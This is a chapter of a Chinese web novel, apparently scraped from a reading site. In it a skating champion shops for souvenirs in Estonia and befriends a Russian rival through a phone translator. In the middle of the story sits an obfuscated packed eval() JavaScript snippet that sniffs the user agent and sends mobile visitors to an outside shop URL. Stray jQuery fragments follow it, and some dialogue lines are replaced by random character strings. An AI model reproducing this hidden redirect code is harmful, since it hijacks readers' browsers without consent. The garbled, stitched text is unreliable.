默认冷灰
24号文字
方正启体

21. 翻译、朋友、回家了!

作者:Enosya本书字数:K更新时间:
    我们是冠军!


    卫斐夺冠的那一刻,手机多出来了无数人的祝贺,大家尽管不在爱沙尼亚,但也在用另外的方式关注着比赛,关注着卫斐。


    卫斐拿完奖牌就开始回复大家。


    齐狮:卫斐!!你夺冠了!!恭喜你啊,什么时候回来?


    卫斐:等大家都比完赛我就跟他们回来!我给你们带一些特产啊!爱沙尼亚!


    还有正在备战奥运冲刺积分的王乐家和王乐言也送来了祝贺。


    没想到他们也在看!


    卫斐一一回复了他们,准备剩下一天在附近逛逛。


    他告诉了李茂典要给大家带特产。


    李茂典当然不可能让他一个人出去瞎逛,所以他决定跟着卫斐一起去。


    ……


    “爱沙尼亚最有名的伴手礼大概是树皮?”李茂典掏空了自己的脑袋,挤出来一点关于爱沙尼亚的旅游小知识。


    “你要送人的话,我们去精品店逛逛?”


    卫斐对爱沙尼亚那是一片盲区,当然无不许可:“好啊!”


    于是他被李茂典打着导航领着到了伴手礼店。


    这个店铺看起来真的很复古,有一股做旧的中世纪风格。


    有点儿神秘。


    卫斐上前想让服务员给他介绍一下。


    但是他没想到。


    他听到了。


    “7k9&pQ2…”


    啊!他忘了他听不懂英语。


    卫斐一路体校上过来的,根本没重视过文化课,更别说英语了。


    第一次出国忘了语言不通这件事了。


    完蛋了,听不懂,他求助般的望向李茂典,指望着他的教练天神降临给他提供帮助。


    关键是李茂典也不咋会啊,他也是一路体校上来的。脱离学校这么久,早就忘干净了。


    李茂典拍拍自己的脑袋,完全忘了这一茬了,之前带省队也没机会出国,他根本没想起来还有语言不通的问题。


    这回看到卫斐的求助,他有点儿尴尬:“我也听不懂。”


    卫斐一听到这话就感到彻底没戏了,教练也不靠谱,真没招。


    但他很快就想到了办法,还可以手语交流嘛。


    他和店员比比划划,想让店员明白他的意思。


    但店员显然没有这么大的悟性。


    他们的沟通一时陷入了危机。


    卫斐都有点儿绝望了,差点都要回队里搬救兵了。


    转机就在这时候来临。


    “7bN2%…”有人认出了卫斐向他打招呼。


    卫斐没听懂,也没回头。


    那人拍了拍卫斐,想让卫斐回头看看他。


    但卫斐现在心情很不美妙,此时有陌生人拍他更是撞在了烦躁点上。


    “干啥啊?”卫斐根本没转头条件反射弯的回话。


    那人有点无奈,整个人都到了卫斐前面,看着他说:“U3gV0…”


    哪门子的鸟话!


    卫斐更烦了,但他也认出了来人。


    是俄罗斯的伊万,那个第二名。


    但是伊万又如何?他还是听不懂啊!


    伊万也不是个傻子,他显而易见的注意到了卫斐的烦躁,明白了他听不懂。


    他换成英语又说了一遍:“V0sE…”


    哈哈,没想到吧?英语也听不懂。


    卫斐不想理这个满口说着听不懂的话的比赛对手。


    他转头去挑自己的伴手礼了。


    伊万有点儿懵,他不知道为什么卫斐突然转身离开,但旁边带着他的教练看明白了。


    他和伊万说:“他可能英语也不知道。”


    “!!是有这种可能。”伊万恍然大悟,但他仍然没有放弃搭讪卫斐。


    他开始掏出手机捣鼓。


    卫斐此时正在店里精心挑选带给家人和朋友们的小挂件。


    “这个小狐狸好适合乐言姐,巧克力很著名但运动员吃不了可以买给妈妈尝尝…”


    他正在小声嘀咕着。


    但他突然在一片鸟语中听到了熟悉的能够识别的话。


    “我是伊万,你还记得我吗?我们刚刚比完竞赛,你很厉害,咱们要不要加个联系方式。你遇到了什么坏事吗?我可以帮你。”


    是伊万!他的手机传出了机械音。


    他用手机翻译了英语。


    ‘还可以这么搞。’卫斐感觉自己大脑皮层的褶皱都被抚平了。


    ‘出国多是有经验哈。’卫斐被启发了。


    卫斐的一丝丝烦躁瞬间被抛走了。他也掏出自己的手机回复这个好心人,他的手机说:“哦!好啊好啊!你有微X吗……没什么事儿!我已经解决了!”


    那可不,终于能让店员知道我想干什么了!


    伊万听了卫斐的回复有些意外,刚才的相遇让他以为卫斐是个不好相处的人,没想到这么友善?


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226069|197564||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他的手机回复:“好啊好啊!我可以注册一个微X,你是在挑选特产吗?我知道一个最正宗的蜂蜜浆店,你要去吗?”


    卫斐看了眼李茂典,看他没有阻拦的意思。他让他的手机说:“很棒!我们可以一起去!我是要给我的家人带礼物!但我不太了解这里!”


    又交到了一个好朋友!今天真不白来!卫斐高兴极了。


    他也和伊万说回到家给伊万寄他们黑O江的好吃的!!


    ……


    他们一起逛了逛,就回去了。


    今天是最后一天,女单比完赛颁完奖,他们就该各自回国了。


    卫斐和李茂典拎着大包小包回了酒店。


    桑景天看到这一老一小现在才大包小包的回来有点儿惊讶,他探究的问:“没想到你英语这么好,老李。”


    他早就注意到了,卫斐他们根本没带翻译。


    桑景天禁不住对李茂典有了一丝敬佩。


    他们这个年纪的人英语还能和外面的人交流,真的很厉害了。


    提起这事李茂典有点儿尴尬,毕竟是他忘了翻译:“哈哈,不是,我们遇到好心人了,那个俄罗斯的伊万,他挺了解的…”


    “啊?哦!”桑景天听了李茂典的解释,有些哭笑不得。


    “今天很开心哦!我还和伊万加了微信!”卫斐丝毫没感觉到空气中的一丝尴尬。


    把自己今天的经历一连串的吐露出来。


    “伊万还有微信那?”桑景天对卫斐包容极了,他耐心的倾听并提出问题。


    “对呀!我们加了微信。”卫斐没觉得加微信有什么问题。


    ……


    “好了,收拾收拾东西吧,我们一会就要回去了。”桑景天听着卫斐讲完,对大家说。


    女单比完赛领完奖,没有比赛了,自然就该回家。


    “卫斐,记着!到时候媒体问你什么都不用回答!不用理他们。”


    桑景天突然想起来论坛的几个爆炸贴,嘱咐道。


    他怕卫斐被媒体引导说出一些话,然后被骂。


    卫斐不懂这些,他们作为教练应当为选手规避这些坑。


    “行啊。”卫斐有些不明觉厉,但看着桑景天少见的这么严肃的表情,还是答应了。


    虽然卫斐平时也是一个论坛用户,但比赛这几天他根本没看社交媒体,教练也不建议他们比赛期间看社交媒体。


    所以他不知道网上发生了什么。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)